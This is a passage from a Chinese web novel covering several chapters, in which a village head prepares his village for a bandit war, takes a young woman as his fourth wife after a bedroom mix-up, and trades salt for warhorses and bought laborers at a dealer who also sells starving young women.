脑袋晃得跟拨浪鼓似的,一张大黑脸写满了不好意思。
他识的字不多,也曾对武怡手里的图纸感兴趣,但太多地方看不懂。
武怡见李二不懂,也教过他识字,但他底子实在是太弱。
学了好几天,知识储备量只提升了1.21%,无奈之下只得放弃。
此时陈息问他看不看得懂图纸,他显得很是尴尬。
见他摇头,陈息也知道难为了这老头,看来还是绕不开小怡啊。
无奈之下,从怀里掏出几张画好的图纸。
这图纸他早就画好了,只是一直没空出时间实施。
现在大战将起,不做也得做了。
“那个哈,你拿着这张图纸,去找小怡。”
“小怡会看,到时候她会告诉你怎么做。”
李二黑着一张大黑脸,村长这是脑子抽掉了?
你直接交给武怡,岂不是更好。
让我架着拐,单腿再蹦回去?
李二回头看一眼,大黑脸又有了黑线。
自己距离木匠作坊,至少还有几百米。
陈息不管李二怎么想,又附耳过来:
“就说我这边忙,没见到小怡,无奈之下才找到你转达。”
李二回过神来,看着一脸期待的陈息,重重点了点头。
见他听懂了,陈息得意一笑:
“去吧,打下手的劳力随你选,争取早点把这东西做出来。”
“多做一些。”
李二听完,又认真的点了点头,见陈息没什么吩咐的了。
架起拐,又单腿蹦了回去。
陈息见李二走了,长吁一口气。
他也知道这么躲着武怡不是办法,暂时只能先这样了。
想到这里,抬手抽了自己一巴掌:
“哎,造孽啊。”
转头又去找到叶红缨,将自己的计划全部说了出来。
因为这场大战,这愣种可是第一主力。
谁叫她功夫这么好呢。
叶红缨听到对方有2000多人,丝毫没怯场。
她清楚陈息那连*
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*的厉害之处,在心里粗略算了一下。
这边的村民,壮劳力,加一起估计能凑出200人。
200对2000!
优势在我!
陈息又狠狠的夸了她功夫好,又夸她巾帼不让须眉。
夸得叶红缨心情大好,原来这登徒子嘴巴这么甜的么。
美的差点冒出鼻涕泡。
到后来,陈息说啥,她应啥。
简直没有比她再听话的了。
叶红缨被这货忽悠的找不到北,拿起红缨枪,意气风发。
带着人就开始了训练,她教的全是军队里的招式。
没有花哨的架子,都是以攻伐为主。
二牛带着村民,胡伢子带着50壮劳力,组建成一支临时战队。
身为主帅的叶红缨忙坏了,一边带着男人们训练。
一边带着7个徒弟,和一些体格好的村妇,练习连**。
虽然枯燥乏味,但叶红缨每每想起陈息夸她的话,心里都美得不行。
一整天,那张嘴就没闭起来过。
陈息又让宁乱带着那些土匪做工,啥累活重活都叫他们干。
土匪们为了活命,个个争先表现。
安排了张婶主管伙房。
全部安排精米肉食,不然这种高强度体力消耗,真怕他们坚持不下来。
安排好了一切,陈息找个地方偷懒睡觉。
昨夜1V3。
他也是咬牙硬撑的。
绝不能在三位娘子面前露怯,不然以后家庭地位不稳。
由于怕遇到武怡,这货又来到了柴房。
依旧是那堆干草。
陈息苦着脸,一弓身子钻了进去。
还是干草堆好,这货习惯了。
李二单腿蹦了回去,一脸正色将图纸交给武怡。
武怡接过手里,看着图纸上面,熟悉的师爷笔迹。
小脸不自然的红了起来。
“那个...那个...我师爷呢?为什么不亲自交给我?”
李二由于和武怡相处的久,把她当亲孙女看待,平时不爱说话的他,罕见的开口说了很多话:
“你师爷刚才带我去了很远的地方,让我告诉你,他有点忙,让我把图纸交给你。”
李二说这话,还伸手指了指,刚才自己就是从那边蹦来的。
武怡一看那个偏僻的角落,就知道师爷故意躲着自己。
什么有点忙?
都是借口。
亲了自己就不认账。
哼。
武怡平时性子温顺,但在这个问题上绝不含糊。
一个少女的名节,高于一切。
既然师爷躲着我。
那我去找师奶奶告状去。
武怡握紧了小拳头。
奶凶奶凶的。
第112章 小小的惩罚
说干就干。
武怡被陈息气的俏脸通红。
也不管陈息的图纸了,气冲冲的就跑到主屋。
自己的事情没和任何人说,就是想给师爷一个机会。
主动娶自己过门。
现在你不是避着我么。
哼。
我要把这事闹大,越大越好,看师爷给不给自己一个名分。
她其实早就喜欢陈息,只是碍于少女的矜持和师爷身份,不敢说出口。
正好这次借题发挥,师奶奶们肯定会为自己讨个说法的。
推开房门,三位师奶奶一个个无精打采的。
就算无精打采,也互相打着气。
这次的计划失败,让她们很沮丧。
夫君这么勇猛,她们三个合力都没有挨过。
以后的日子怎么过嘛。
必须要找帮手。
对,贵人们都三妻四妾的,咱们的夫君也要有。
不然真的扛不住,呜呜呜。
就在她们无计可施时。
房门被武怡推开,三女一愣,随即整理一下表情,像平时一样亲切的招呼着武怡。
本想嘘寒问暖几句。
但看武怡苦着一张小脸,樊妍觉得不对劲,关心的问询起来:
“小怡是不是身体不舒服?”
“需要让你师爷来为小怡诊诊脉吗?”
一提到师爷,武怡哇的一声哭了出来。
三女手足无措,怎么提到夫君,哭的更大声了?
安慰了好一会,武怡才将整件事情,委屈巴巴的说了出来。
师爷是如何如何欺负自己的。
在什么方向伸的手,都探到了哪里,后又怎么亲的嘴,那舌头还...。
事无巨细。
三女听完,人都傻了。
夫君...
夫君怎么能这样呢?
樊妍心细如发,夫君的性子她是了解的。
肯定走错了房间,将小怡认作自己了,才发生了这么荒唐的事。
心里不知道怎么办才好。
女子的名节是最重要的,再次安慰一番武怡,向她保证这是个误会,夫君不是趁人之危的人。
樊妍不安慰还好,安慰完了,武怡哭的更大声了。
“小怡你放心,师奶奶一定为你做主,待会夫君回来,我便问问他情况。”
樊妍一门心思的担心夫君名誉,可秦瑶和白蓉蓉并不这么想。
看着哭的伤心的武怡,两女对视一眼。
齐齐笑了出来。
樊妍见瑶瑶和蓉蓉不来安慰,反而在那笑。
夫君的名誉是大,这两个妹妹怎么这么不上心呢。
想拿出大夫人的威严教训一下。
突然被秦瑶拉住了手,秦瑶赶紧解释道:
“大夫人先不要生气,这事我们要分析一下。”
白蓉蓉也过来向樊妍解释:
“大夫人您听蓉蓉说,小怡的名节毁了,再怎么说都是夫君的错。”
“就算夫君赔礼道歉,也换不回小怡的名节。”
“不如让夫君将小怡收了...”
说罢还凑到樊妍的耳朵,小声嘀咕起来。
白蓉蓉心思最活络,她早已看出小怡看夫君的眼神不对。
少女的那种爱慕神态,是藏不住的。
正好让夫君将小怡收了,还多了个帮手。
下次4女一起战夫君,就不信找不回场子。
樊妍听完连连点头,这样既保全了夫君名誉,还为小怡做了主,只是不知小怡愿不愿意。
这事还得她亲自来问,万一小怡不同意,再想其他办法。
樊妍一脸心疼的拉着武怡的手,犹豫了许久,才说出自己的想法:
“小怡你别哭,这事师奶奶为小怡做主。”
“师奶奶问问小怡,愿不愿意嫁给夫君呢?”
“这样,既保住了小怡名节,也保住了夫君名誉。”
小怡不理,表面上虽然哭着,但心里却乐开了花。
大夫人接纳了自己,事情便成功了一半。
她见过些世面,知道贵人家的规矩。
师爷都有了三位正妻,自己过门也是做妾。
不如再装会,万一师奶奶见自己可怜,名分能不能再上升一些呢。
虽然比不上三位正妻,但起码也要有点身份,不要做那名分最低的小妾。
樊妍心思单纯,看不出武怡是在装的,一时真的没了主意。
抬眼,求助的望向秦瑶和白蓉蓉。
怎么办嘛。
小怡好像不同意。
白蓉蓉狡黠的大眼睛眨了眨,她已经看出小怡是装的,但为了拉一个帮手,她也是拼了。
悄悄凑到大夫人耳边,又嘀咕了一些什么。
樊妍听完眼睛一亮,还是蓉蓉有办法,轻咳了几声。
小怡哭声瞬间减小几分,知道重点来了,竖起小耳朵,准备听听大夫人给自己安排个什么名分。
“小怡你看这样行不行?”
“你同意嫁给夫君,但夫君已经有了三位正妻,小怡委屈一些,做个平妻好不好?”
说完还怕武怡不同意,向她保证道:
“虽然名分上比不上正妻,但大夫人向小怡保证,在家中,我们的身份是一样的,好不好?”
“夫君若是不同意,我亲自对付她,这点小怡不要担心。”
樊妍说的语重心长,夫君最听自己的话,料他不敢不答应。
武怡本来是在装哭,但听到平妻两个字,实在是憋不住了。
哭着哭着,噗嗤一下乐了出来。
毕竟是小姑娘,心思都写在脸上,哪里有那么高的演技。
一边不好意思的捂着脸,
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一边嘿嘿嘿的傻笑起来。
武怡这副样子,可把三女搞得无语**。
樊妍表情无奈至极,敢情这小姑娘是装的,刚才可把自己紧张**。
若是小怡死活不同意,自己还真的没了办法。
武怡捂着脸笑了半天,总算恢复了情绪。
站起身来冲着三位夫人施了个万福礼,惹得三女掩唇偷笑。
这小姑娘,为了名分,也是拼了呢。
施了礼,就算正式进门了。
战队成员+1。
樊妍拉起武怡,向她郑重说道:
“现在开始,小怡就是我们的家人了,等夫君回来,我向他说明一下情况。”
秦瑶和白蓉蓉也说了些接纳武怡的话,让小姑娘心安。
白蓉蓉狡黠的大眼睛眨了眨,顿时来了主意,夫君平时总是折腾自己。
不如今天趁夫君犯错。
也折腾折腾夫君。
“大夫人,咱们不需等着夫君回来。”
“我知道夫君在哪,咱们现在便去寻夫君。”
“不要让小怡久等,快些给小怡一个交代。”
樊妍和秦瑶,只知道白蓉蓉在为小怡着想,心想也是这么回事。
既然小怡都进门了,要快些给人家一个交代。
樊妍点点头:
“也好,蓉蓉你带路,我们一同去。”
白蓉蓉坏坏一笑:
“夫君做了这么出格的事,咱们要给夫君一个小小的惩罚。”
樊妍和秦瑶对视一眼,确实,夫君这次有些过分了。
幸好小怡答应,不然真不知该怎么收场。
齐齐同意给夫君一个小惩罚。
白蓉蓉准备了一个大铁盆,领着三女便来到柴房。
走到近时,一根手指竖在嘴间,示意大家悄悄的,不要让夫君察觉。
三女不明所以,但见白蓉蓉模样认真,也都轻声的靠近。
白蓉蓉轻轻的推开柴房门,向里面瞄了瞄。
正看见干草堆中呼呼大睡的陈息。
见这货睡得香,嘴边还淌着哈喇子。
白蓉蓉踮着脚尖,轻轻来到陈息头前。
将大铁盆盖在陈息脑袋上,由于睡得实,这货根本没反应。
铁盆盖住,白蓉蓉又从怀里掏出一只响锤。
活动一下肩膀,卡姿兰大眼睛中已有决然之意。
臭夫君,都求饶了还不放过自己。
今天要报仇。
“叮——”
铁盆厚实,响锤落在上面,发出巨大叮声。
陈息瞬间弹簧起身。
脑瓜子嗡嗡作响,眼里全是小星星。
就知道那干草堆能成事。
刚才的那声叮。
莫不是系统来了?
修仙,还是问道长生?
大喊一句:
“这特么又穿越了!”
第113章 四夫人
陈息站在那里,一手捂着耳朵,一手揉着眼睛,耳中回音和眼前小星星,转悠个不停。
缓了半天才回过神来。
当看清眼前一切时,又懵逼了。
首先便见到樊妍站在自己身前,那表情说不出是心疼还是怨念。
身边站着秦瑶,双手捏着衣角,望向自己的眼神有担惊有受怕,还有一丝丝幸灾乐祸。
而罪魁祸首白蓉蓉,敲完那记响锤就躲到樊妍后面了,从她身后探出半个脑袋瓜,紧张兮兮的看着陈息。
见夫君无事,才轻挪脚步,勇敢的站到大夫人身边,向后一点点。
两女身子挨的很近,夫君若是发怒,她便第一时间躲回大夫人身后去。
陈息看清了眼前的三位娘子,樊妍是不可能吓自己的,嫌疑人只有这两个。
伸出双手各指在秦瑶和白蓉蓉身上,佯怒道:
“你们两个......谋害亲夫是不是?”
两女被陈息指着,身子不由自主的贴近樊妍,一脸无辜的望向大夫人。
不敢说话。
这事还得大夫人上,她们两个只是帮手而已。
主意是白蓉蓉出的,响锤也是她敲的,偷着笑的是秦瑶。
这俩,谁都脱不了干系。
陈息见两位娘子往大夫人身边躲,气的牙根直痒痒。
瞅了眼地上的铁盆和响锤。
再次望向两女的眼神不善,威胁道:
“今晚,你们俩一个都跑不了。”
樊妍见夫君犯了错而不自知,还敢出言威胁瑶瑶和蓉蓉,看来必须要拿出证据了。
不然这货以后还要捅娄子。
将身子侧开,露出身后藏的严严实实的武怡。
“小怡,你师爷还不知道怎么回事呢,要不你和你师爷说说?”
武怡听见大夫人叫自己,给自己打了两下气,一挺身子站了出来:
“师爷,我将你欺负我的事,告诉三位师奶奶了,现在师奶奶们都为我做主。”
为了彰显自己有靠山,还扬起了小下巴:
“师爷,现在当着三位师奶奶的面,你说这事该怎么办吧?”
从见到武怡那一刻起,陈息脑瓜子都宕机了。
完了。
完犊子了。
我不是说了梦游嘛,这妮子咋还不信呢?
“那个...那个哈...”
陈息一会摸摸鼻子,一会挠挠脑袋。
整个人尬在那里,根本不知道该怎么说。
见他这副模样,武怡被气个半死,分明占了自己便宜,此刻还不给个交代。
一脸委屈的摇晃樊妍的衣袖:
“大夫人...”
这句大夫人叫出口,陈息脑瓜子又宕机了。
刚才还叫师奶奶了,这一会的功夫,称呼都变了?
樊妍见他这副样子,真的有些气恼了。
上前一步拧着陈息腰间,语气充满威胁:
“还不给小怡一个交代?”
腰间痛感传来,陈息打了一个冷战。
瞬间明白了怎么回事。
原来自己这个烂摊子,已经被娘子收拾好了。
怪不得几女敢这么吓自己,想来是给小怡出气。
哈哈哈。
家有贤妻。
真好。
感激的在樊妍脸蛋上香了一个,想上前给小怡一个名分,想想还不够,转回身又给樊妍香了好几个。
樊妍被夫君接连香了好几个,脸蛋儿臊的通红,瑶瑶和蓉蓉都见怪不怪了,关键这里还有刚入门的小怡呢。
幽怨的盯着夫君,羞不羞嘛。
陈息心中有底,说话自然硬气。
摆出一家之主的架势,轻轻抬了抬下巴,对着武怡说道:
“从今天起,你就是我的娘子了,但......”
“你进门晚,正妻的位置没有了,只能给你个妾室。”
陈息低着头,直视武怡:
“愿不愿......诶......疼疼疼......”
这次陈息的腰间,同时被三只小手拧着,疼的这货呲牙咧嘴。
白蓉蓉呲着两颗小虎牙,拧的最用力。
小手像个小钳子似的,都快拧到转一圈了。
樊妍和秦瑶自然是有分寸的,只有她最卖力。
因为她挨夫君的欺负最多,每次嚷嚷着不服,但奈何实力不济。
二夫人的位置离她越来越远。
今天一定要狠狠的,拧夫君出气。
陈息发觉这边最疼,扭头一看,正对上用力过猛,脸蛋通红的白蓉蓉。
白蓉蓉感觉夫君向自己看来,心中一惊。
不好。
被夫君发现了。
赶紧松开小手,两步就躲到樊妍身后,露出一副人畜无害的模样。
大眼睛可怜巴巴的望着夫君,小手背在身后,轻轻活动着发酸的手指。
那模样,要多乖巧,有多乖巧。
陈息一看是白蓉蓉,知道这妮子是在报复。
想凶他几句,但脸上刚露出表情,话还没说出口时,腰间两处力道猛然加重。
“夫
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君,你还敢凶蓉蓉?”
樊妍一脸威胁的瞪着他,敢凶蓉蓉,先过我这一关。
“哎哟哟,为夫不敢,为夫不敢。”
赶紧搂过樊妍和秦瑶,在两人脸上各自香了一个,才化解两位娘子的怒气。
剩下的白蓉蓉,看我找机会单独收拾你。
经过这一折腾,场面恢复和谐。
剩下就是武怡的问题了。
樊妍身为大夫人率先开口:
“夫君,小怡乖巧懂事,我们都很喜欢小怡,能不能将小怡迎为平妻?”
“对外身份虽比不上正妻,但家中我们地位都是一样的,这样好不好呢?”
樊妍开口,陈息自然欣然应允。
刚才他是故意给武怡一个妾室身份的,目的就是怕三位娘子嫉妒。
樊妍自不用说了,秦瑶和白蓉蓉过门也有一段时间了,都在为了这个家贡献力量。
一个是自己的大会计,掌管产业财政大权。
一个是女红手艺达人,将来武装力量成型,少不了蓉蓉教工人制作甲胄。
大夫人坐镇中军,统筹一切事宜。
这三位娘子,他心疼还来不及呢,处处都得护着。
“好,既然大夫人都开口了,小怡以后便是平妻。”
“还不谢过三位夫人。”
这货捅的篓子被三位娘子解决,又开始摆起一家之主的架子。
颐指气使。
三女很有默契,同时翻了这货一个大白眼。
见陈息给了自己平妻身份,武怡喜笑颜开,又给三位夫人施了一个万福。
事情解决,三女很开心。
家庭成员+1。
“以后称呼也要改改了,知道怎么叫为夫么?”
武怡当然知道,不过被当面问出来,还是羞红了脸。
给陈息又施了个礼:
“夫君...”
说完话,把头埋得很低,小脸都要红透了。
“哈哈哈。”
陈息大嘴一咧,上去就在武怡额头上香了一个。
“四夫人,拿着你的图纸干活去吧。”
“争取把他们都教会看图,累坏了我的四夫人,为夫可心疼。”
“嗯嗯...”
“好的夫君...”
说完话,转身就跑了。
她想立即将自己四夫人的身份公之于众。
尤其在宁宁面前。
小姑娘间总爱互相攀比,她和宁宁也一样。
以后再不许叫我小怡了。
要叫四夫人。
嘿嘿嘿!
第114章 大哥欺负我
武怡回到木工作坊,开始将图纸讲给李二听。
李二本身就是顶级木匠,对木工做法理解能力超强。
认真的听着武怡讲图纸的细节。
他也在地上用自己的方法,写写画画。
不一会。
一架重**图案形成。
李二双眼盯着地上的图案,怔怔出神。
盯了好一会,突然眼睛一亮,起身便开始干活。
武怡见他这副模样,微微一笑。
知道李二已经看懂了,剩下的就是制作。
重**体积庞大,武怡又找来一些帮手锯木料。
很快。
木匠作坊开始热闹起来。
宁宁这些日子,不知什么时候迷上了打铁。
整天赖在李大身边,这会正跟着他搭窑呢。
武怡一脸开心的小跑来,热情的跟宁宁打招呼:
“宁宁,歇一歇不?”
见正在和泥的宁宁看向自己,还故意在她面前捋了捋头发,眨了眨眼,下巴扬的高高的,小模样很是嘚瑟。
宁宁不知道自己的小闺蜜为啥这么开心,见她开心,自己也跟着开心。
由于双手沾满了泥巴,用肩膀擦了擦汗珠,开心道:
“小怡你来啦,这么开心是有什么喜事吗?”
两个小姑娘平时关系极好,每天形影不离。
武怡见宁宁还不知道怎么回事,更加嘚瑟起来。
小手背在后面,扭动两下身子,下巴扬的更高了。
“以后不要叫我小怡啦,要换个称呼哟。”
宁宁一愣,换个称呼?
就连旁边正在干活的李大也疑惑起来。
停下手里的活,好奇的看着两个小姑娘。
见宁宁不明所以,武怡轻挪了两步上前,小脸蛋正对着宁宁,字字清晰入耳:
“以,后,管,我,叫,四,夫,人!”
一边说着话,一边在她面前晃悠着小脑袋。
得瑟完了还不算,又拉着宁宁的袖子,蹦跳一下美滋滋道:
“宁宁为我开心不?”
宁宁怔住,四夫人?
什么四夫人?
见自己的好闺蜜疑惑,武怡得意一笑,再次解释一遍。
“我嫁给你陈大哥啦,以后我就是四夫人。”
这还不算完,紧跟着再来一句:
“大夫人特意为我争取啦,我还是平妻哟。”
然后又背起小手,摇头晃脑道:
“当然啦,在外面我是平妻,在家里我和正妻的身份是一样的。”
说罢还故意证明一下:
“这都是大夫人许诺的。”
宁宁听着她没完没了的炫耀,脸上的表情,由开心逐渐变得扭曲。
最后忍不住,哇的一嗓子哭了出来。
知道这里还有别人看着,赶紧用手捂住脸。
啪的一声。
又糊了一脸的泥巴。
由于刚才正哭着,泥巴都糊进了嘴里,呸呸了两下,哭的更大声了。
武怡愣住。
宁宁不应该为自己感到开心吗?
怎么还哭了?
掏出手帕想帮她擦干净脸上的泥巴,却见宁宁捂着脸就跑。
呜呜呜。
自己心心念念的四夫人位置,被好闺蜜抢走了。
最让她接受不了的,闺蜜还是平妻。
以后等自己过门,难不成要低了闺蜜一头。
宁宁哭的很伤心。
在她最无助的时刻,谁能帮她?
自己的亲哥哥。
宁乱。
宁宁不管不顾,一口气跑到哥哥宁乱身边。
这货此时正在看着土匪们做工呢。
手里拿着个皮鞭,来回走动。
时不时见到偷懒的,就甩上那么一鞭子。
活脱脱黄世仁既视感。
手底下43个杨白劳。
宁宁一头扎到哥哥怀里,呜呜呜的哭个不停。
宁乱见妹妹哭了,赶紧丢下鞭子,一边安抚一边询问:
“咋地了妹子?”
见宁宁还在哭,急得他追问:
“到底咋地了妹子?哪个王八蛋欺负你了?”
“哥为你出头。”
宁乱见妹妹哭的伤心,火气腾腾腾的涌上来了。
无论他怎么问,宁宁就是不答话,哭起来没完。
宁乱急了,抓住宁宁捂着脸的双手,移开。
见到妹妹满脸都是泥巴,双眼顿时被气红了。
凶神恶煞大喊道:
“谁踏马糊我妹子一脸泥巴?”
这一嗓子喊出,43个杨白劳同时一哆嗦,眼睛都不敢往这边看一眼。
卯足力气干活。
赶紧干,赶紧干。
这白毛活爹又急眼了。
宁宁被哥哥把双手移开,委屈的泪水掺杂着泥巴。
真
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真正正的大花脸。
“哥,大哥...大哥...欺负我...呜呜呜。”
她不敢说武怡成为四夫人的事,毕竟自己还没有向陈息表露心意,怎能怪他呢。
她的意思是告诉宁乱,想让宁乱到陈息那替自己表明心意。
四夫人当不上,不是还有五夫人嘛。
最重要的还是那平妻的身份。
宁乱听完,拧着眉,一脑门子问号。
大哥欺负你?
谁?
心里有种不好的预感,最终还是问了出来:
“大哥欺负你?哪个大哥?”
宁宁哭的抽噎着,知道自己哥哥笨,想用简短的称呼表明意思:
“陈息。”
这两个字一出口。
宁乱脑瓜子嗡嗡作响。
盯着自己妹妹看了良久。
转身拿起鞭子。
啪的一声,甩在一个杨白劳身上。
“干活干活,都别踏马偷懒,急眼宰了你。”
宁宁见哥哥不管自己,愣住。
连哭都止住了。
宁乱抽完一个杨白劳,转身一指自己妹妹:
“你到那边哭去,别影响他们干活。”
“去去去,那边,那边对着墙角哭去。”
拿皮鞭指了一下墙角,一脸正色。
大哥欺负自己妹妹,那就该欺负。
欺负的好。
就算告到老娘哪里,老娘也得为大哥撑腰。
一定是妹妹做错了事,不然大哥不会拿泥巴糊妹妹。
宁乱认死理。
大哥的形象不容诋毁。
宁宁见自己的笨哥哥理会错了,还凶自己。
小嘴憋屈的不像样子。
一边跑一边哭。
你不是凶自己么,我找老娘去。
拿棍子抽你。
宁宁跑去找老娘哭诉了,宁乱依旧监工土匪做工。
日沉西下。
樊妍在主屋为武怡安排了房间。
三位夫人亲自为家庭新成员布置。
武怡感动的不要不要的。
这种和睦氛围,可比城里那些贵人家好太多了。
根本没有上下级之分。
陈息没有选择和武怡圆房。
他要养精蓄锐。
明日进城两件事。
一,精盐换蒙马。
二,去看看杨刚烈布置的怎么样了。
顺便再给他带点惊喜。
第115章 这税,小爷不交
清晨。
没用陈息去取,叶红缨早早便将黑蛟牵到屋外等着。
见到穿戴出门的陈息后,展颜一笑。
还是那个姿势,扬起下巴,伸手等着拿铜板。
陈息交了租金,顺利接过黑蛟。
刚要走,身后突然传来叶红缨声音:
“酒没了。”
陈息嘴角一抽,记得上次剩的大半坛白酒,都给这愣种了啊。
这才两天的功夫。
没了?
这不是纯纯的酒蒙子嘛。
“行,今晚给你。”
陈息也是无语了,现在粮食那么珍稀,酒价自然高的离谱。
身边养着这么个酒蒙子,活活的吞金兽啊。
“还有...”
陈息不用转身,叶红缨主动来到他身前:
“上次答应本姑奶奶的,烧鸡烤肉...”
说着话,故意将头扭到一边去,双臂抱在胸前,踮了两下脚:
“这么大的窝窝村村长,该不会说话不算数吧?”
见她说出来,陈息尴尬的挠挠头。
上次好像还真答应这愣种了,没想到这货还记得呢。
“一顿烤肉而已,本村长还请得起。”
陈息忙不迭的应了下来,怕这愣种不依不饶,还补了一句:
“今晚就安排。”
叶红缨听到,今晚就能吃到那香喷喷的烤肉。
心中大喜。
怕陈息看出她高兴,努力的维持面部表情,傲娇的哼了一声,转身就走。
走远后,嘴丫子差点咧到耳朵根。
灌着凉风回屋的。
陈息摇头无奈一笑,知道这阵子叶红缨忙坏了,根本没时间下山。
想买些好吃的都没有路子。
哎。
今晚犒劳犒劳吧。
还能咋整?
这愣种必须要拴在自己身边。
以后还指望她帮自己练兵呢。
到了大库,这些日子盐矿产出的精盐都在这里储备,调出足够换取60匹蒙马的精盐。
足足装了3大马车,又让武怡调出一批新制的连**。
命宁乱和胡伢子,带着10个壮劳力,随自己一同进城。
物资太多,一行人直到中午,才到了陆达的牙行的门前。
远远便瞧见,马厩里多了许多高头大马。
小厮们在喂马打扫马厩,陆达则是在一旁点账记录。
陈息下马,快走几步,进了大门一拱手:
“陆掌柜的好久不见,生意越来越兴隆了。”
陆达闻言,转头一看是陈息。
脸上惊喜瞬间浮现。
丢下账本一路小跑赶来。
对着陈息拱手笑道:
“哎呀,陈猎户您来了,快快随小老儿进屋暖和暖和。”
陆达喜笑颜开的拉着陈息,自己刚从边境带着大批物资和壮劳力回来,等点完了账,正要到窝窝村找陈息谈生意呢。
没想到他竟然主动来了,倒是省去了好些麻烦。
“哈哈,不着急不着急,看我带了什么过来。”
陈息侧过身,宁乱赶着3大马车进来。
陆达心下一喜,3大马车全部装的麻袋,莫不是...
小跑几步上前查看,打开麻袋一角,瞬间眼睛一亮。
用手指沾了沾里面的雪白颗粒,放在嘴中咂了咂。
对,就是这个味。
陆达一张老脸都乐开了花。
立即命小厮接过马车运去库房称重。
转身拉住陈息的手就不松开了,说什么也要带他进屋喝茶聊会。
陆达有一间单独用来接贵客的屋子,里面很宽敞,四周火炉烧的暖暖的。
陈息带着一行人进了屋,被陆达邀请到客位坐下。
又亲自为他倒了杯茶,双方寒暄几句,进入正题。
“按照上次的约定,这批精盐换60匹蒙马,陆掌柜的可有异议?”
“无异议,无异议。”
陆达重重点头,谈好的事情自然做数,他还怕陈息反悔呢,自己怎么可能有异议。
可算算后,却是犯了难,搓着双手向陈息解释:
“陈神医,最近边关那边闹的厉害,这次小老儿使尽了浑身解数,才买来50匹蒙马。”
说完,为了保证马匹的品质,解释道:
“不过陈神医您放心,这50匹蒙马都是训好的战马,不说千里挑一,也算得上百里挑一。”
陈息点点头,刚才他还特意观察了一下,这些高头大马四肢健壮,根本不是寻常马匹。
“嗯,我相信陆掌柜的,只是这数量少了些...”
其实在陈息心里,还是很满意的,以为只能换一些普通的蒙马,回去后还要训练成战马。
没想到陆达给了自己一个惊喜,倒是省去了训马步骤。
有了这50匹战马,自己可以迅速组建一支骑兵队了。
有了这支骑兵加入,再面对2000多土匪,胜算则大大增加。
见陈息嫌马匹数量少,陆达悻悻然说道:
“陈猎户啊,余下的精盐,小老儿能不能用银钱换?”
他实在舍不得到手的精盐,这批精盐一旦售到草原,必将赚的盆满钵满。
陈息叹息一声,看来也只能如此了。
“那好吧,那便有劳路掌柜的算算账吧。”
陆达见陈息答应,心中一块大石落地,唤来称重小厮得出数量,翻开账本计算一下余额。
忽然,眼睛瞟到胡伢子和那些壮劳力。
对了,这次自己去边关,又带回一批壮劳力,也不知陈猎户还需不需要。
“陈猎户,小老儿忽然想起一件事。”
陆达指了指陈息身后,站着的胡伢子那群人,接着道:
“这次小老儿又带回50个壮劳力,不知您还需要不要?”
陈息听完眼睛一亮,又是50个壮劳力,哪有不要的道理。
“都是壮劳力么?”
陆达见他感兴趣,立即拍着胸脯子保证道:
“陈猎户您放心,个个都是壮劳力。”
这点陆达心里肯定,边关战乱,能不远**逃到边关的部落男子,个个都是壮年。
那些老弱病残的,完全没有这个能力。
“好,带我去看人。”
陈息急不可耐,这些外族壮劳力可是宝贝,不仅能干活,还会骑马。
训练好了,组成一支强大的骑兵队,也不是没可能。
最主要的是,他们没有牙籍,根本不存在逃跑的念想。
“好好好,陈猎户请随小老儿来。”
陆达喜滋滋的带着陈息出门。
蒙马的销路陆达不急,但这些壮劳力的销路却很麻烦。
他们没有牙籍,只能卖给一些大户人家做护院,或者卖给偏远地区的地主老财。
少不得多费些功夫。
这也是他每次回来,只带50人的原因。
一路上的吃喝拉撒,过关路引,哪哪都需要打点一番。
到了家还需要各处寻买主,一个壮劳力从买到卖,赚不了几个钱。
一行人到了牙行后院最里面,50个壮劳力被分开5个监舍。
在没有寻到买主以前,他们会一直在这里呆着。
陆达领着陈息来回看了一圈,询问道:
“陈猎户可还满意?”
陈息点点头,果然和陆达说的一样,个个都是壮年,而且身体都挺不错的。
只是一路上风尘仆仆,脸上有些菜色。
不过这都不是事,带回吃几顿饱饭就恢复了。
“行,都带走吧。”
“陆掌柜的算下差价。”
“好好好,陈猎户您稍等。”
陆达见陈息满意,喜滋滋的掏出账本,开始计算。
片刻后,账目出来:
“陈猎户,小老儿还需付您10两银子。”
陈息一听这个数字,本想作罢。
但做生意就要一码归一码,请客吃饭花费多少都没关系,但做生意,差一个铜板都不行。
“可以,带人走吧。”
陆达吩咐牙行小斯打开监舍门,50个壮劳力鱼贯而出。
他们手脚都没有绳索束缚,陆达显然对这群人很了解,知道他们不能跑,也不敢跑。
管理起来很是随意。
一行人带着50个壮劳力往外就走。
路过上次关押妇人的女舍时,陈息放缓了脚步。
想买几个能做活计的妇人,回去帮白蓉蓉做些甲胄。
那些妇人们见有人来了,都挤到门柱前,眼巴巴的望着来人。
同往常一样,期盼有贵人买了自己。
陈息皱了皱眉,上次他来过这里,好像也没有这么多人啊?
往里看去,小小监舍挤挤插插,都没个站的地方。
并且都是些15-25岁之间的年轻女子。
陆达看出陈息不解,叹息一声向他解释:
“陈猎户有所不知。”
“随着天气越来越冷,山里没了野菜,粮食更是早早都吃光了。”
“送亲队每天都会送到我这一批妇人。”
陆达双手一摊,无奈道:
“小老儿这都快住不下了。”
陈息微微点头,夏季还好,就算没了粮食,吃些树皮也能充饥。
可随着冬季加深,这些穷苦百姓根本没了活路。
再向女舍望去,对上的都是一双双期盼的眼睛。
她们都是花季少女,此刻却像牲畜一样,呆在这阴冷潮湿的监舍,供人挑选。
祈求有贵人买了自己,让她们干什么都成,只为能吃上一碗稀饭。
陈息看了她们好一会,有些疑问:
“怎么都是些年轻女子?上了年纪的妇人呢?”
陆达再次叹息一声:
“唉,陈猎户有所不知,那些上了年纪的,都死啦。”
陈息眉头一皱,凝视着陆达。
莫不是你给人饿**?
陆达见陈息看着自己眼神不对,连忙开口解释:
“陈猎户别误会,这些妇人有县里下发的银钱,虽每天只有一顿稀饭,但不至于饿死。”
“那些上了点年岁的妇人,身子弱,生一点小病便要了她们的命。”
“我这里每天都要病死很多人,今早还抬出去二十几个病死的妇人呢。”
“能剩下来的都是年轻身体好的,不过照这么发展下去......”
陆达没有接着说,因为他们都清楚这些女子未来的命运。
陈息眼神凝重的看着这些女子,见贵人目光扫来,她们也不敢说话。
上次有主动搭话的女子,被贵人嫌弃的踹了几脚,到了晚上便**。
虽然不敢搭话,可为了贵人能看清自己的相貌,都把头发向后捋捋,渴求凭借年轻长相被贵人买走。
有些身子弱的挤不上前,在里面传出一些咳嗽声,显然是患了风寒。
这么拥挤的女舍,病毒一传十,十传百,这些女子若没有及时诊治,迟早也会被抬出去。
